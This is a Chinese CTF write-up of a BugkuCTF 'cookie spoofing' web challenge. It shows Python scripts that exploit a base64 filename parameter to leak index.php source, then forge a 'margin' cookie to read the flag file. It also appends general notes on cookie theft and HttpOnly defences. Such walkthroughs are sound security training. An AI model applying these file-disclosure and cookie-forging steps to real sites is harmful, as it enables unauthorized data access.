BugkuCTF:cookies欺骗(web)

本文通过分析一个PHP网站的漏洞,展示了如何利用源码泄露获取关键信息。通过构造特定请求并设置Cookie,最终成功读取隐藏的Flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

  • 题目描述:

      点开链接,给了一串字符,这里只是一部分:

      rfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaiheg

  • Burp抓包,发现没什么效果:

              

  • 思路

但,包里面的 GET /web11/index.php?line=&filename=a2V5cy50eHQ= HTTP/1.1  中的  a2V5cy50eHQ=  引起我的注意,base64解码一下,之后发现是 key.txt ,试了试在浏览器端直接访问http://123.206.87.240:8002/web11/key.txt,但是它与一开始的题目描述里的内容并无区别,然后,思路有点断了,之后看看别的博客,才注意到这个逻辑,php解析的时候 line 表示的是行号,filename是对于文件内容的读取,所以,直接构造一个逻辑矛盾,让filename去读自己即读index.php,既然key.txt是被编码过的,那么这里的index.php也要base64编码一下,之后报错,取line=1,相应的URL是:

http://123.206.87.240:8002/web11/index.php?line=1&filename=aW5kZXgucGhw

报错结果,直接性的源码泄露:              

                   

 

  • 写个脚本自动读个几十行:
    import requests
    url1 = "http://123.206.87.240:8002/web11/index.php?line="
    url2 = "&filename=aW5kZXgucGhw"
    mysession = requests.session()
    for i in range(0, 40):
        r = mysession.get(url1+str(i)+url2)
        print(r.text)

     

  • 读取结果:
    <?php
    error_reporting(0);
    $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:""); //表示有filename的话获取其内容,没有的话就赋值为空
    $line=isset($_GET['line'])?intval($_GET['line']):0;  //line有值直接获取,无值赋值为0
    if($file=='') 
    header("location:index.php?line=&filename=a2V5cy50eHQ=");    //设置我们看到的URL
    $file_list = array(    //关联型数组
    '0' =>'keys.txt',
    '1' =>'index.php',
    );
    if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){//接下来的指示,cookie中的margin参数要设置,且要等于'margin'
    $file_list[2]='keys.php';    //在数组中加入keys.php,这应该存着flag
    }
    if(in_array($file, $file_list)){//看我们传入的filename的值是否在上面的数组中
    $fa = file($file);    //是则以文件的方式打开
    echo $fa[$line];      //按line行号,输出
    }
    ?>

大概意思是:要把cookie中设置margin参数为'margin'且要修改filename是keys.php的base64编码的内容,即可获取flag

  • 使用Burpsuite,抓到包后发送到Repeater:

                   

  • 或者可以写个脚本:
import requests
url = "http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy5waHA="  # filename替换为keys.php的base64加密后的内容
mysession = requests.session()
cookies = {'margin': 'margin'}
r = mysession.post(url, cookies=cookies)
print(r.text)

 

知识点:

  • int intval ( mixed $var [, int $base = 10 ] )
    用于获取变量的整数值,$var:要转换成 integer 的数量值,$base:转化所使用的进制
    intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
  • php array分为两类:关联性(类似python字典),数值型(正常)
  • in_array(search,array,type)
    要搜索的数据,要搜索的数组,数据的类型(可选。如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同。)
    search参数在php4之后就可以是数组类型了
  • file(path,include_path,context)    把整个文件读入一个数组中
    path规定要读取的文件
    include_path可选。如果也想在 include_path 中搜寻文件的话,可以将该参数设为 "1"
    context规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 NULL,则忽略
  • 与_COOKIE['xxx']对应的是  setcookie(name, value, expire, path, domain);
     
### 关于Cookie欺骗漏洞及其解决方案 #### Cookie欺骗概述 Cookie欺骗是指攻击者通过各种手段获取用户的敏感Cookie信息,并利用这些信息冒充合法用户访问受保护的Web应用。当COOKIE的HTTPOnly flag没有设置时,对于很多只依赖于cookie验证的网站来说存在较大风险[^1]。 #### CTF比赛中常见场景 在CTF竞赛环境中,参赛队伍可能会遇到涉及Cookie管理不当的应用程序。这类题目通常考察选手对Web安全的理解程度以及如何有效防护此类威胁的能力。例如,在某些情况下,如果开发者未能正确配置HttpOnly属性,则可能导致JavaScript能够读取并操控Cookies,从而被用来实施跨站脚本攻击(XSS),进而窃取会话令牌等重要数据[^2]。 #### 防护措施建议 为了防止Cookie欺骗的发生,应采取以下几种方法: - **启用 HttpOnly 属性**:确保所有的身份认证相关的 Cookies都设置了`HttpOnly`标志位,使得客户端脚本无法访问它们。 ```http Set-Cookie: sessionId=abcde; Path=/; Secure; HttpOnly; ``` - **采用 HTTPS 进行传输加密**:强制使用SSL/TLS连接来保障通信过程中的安全性,避免中间人劫持或篡改请求响应报文中携带的信息。 - **定期更新和轮转密钥材料**:缩短Session有效期的同时引入更复杂的随机数生成算法,增加破解难度。 - **实现严格的同源策略控制**:限制第三方站点加载资源或者发起跨域请求的可能性,减少潜在的风险暴露面。 #### 实战演练案例分析 假设在一个模拟环境下的CTF挑战里,给定了一款在线商城平台作为靶场对象。经过初步侦查发现该系统的登录接口存在明显的缺陷——即未开启上述提到的关键选项之一。此时可以通过构造恶意链接诱导受害者点击触发XSS事件,最终成功捕获到对方浏览器内的真实凭证。然而这只是第一步;后续还需要进一步挖掘其他逻辑错误点才能完成整个攻防流程的设计思路转换。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值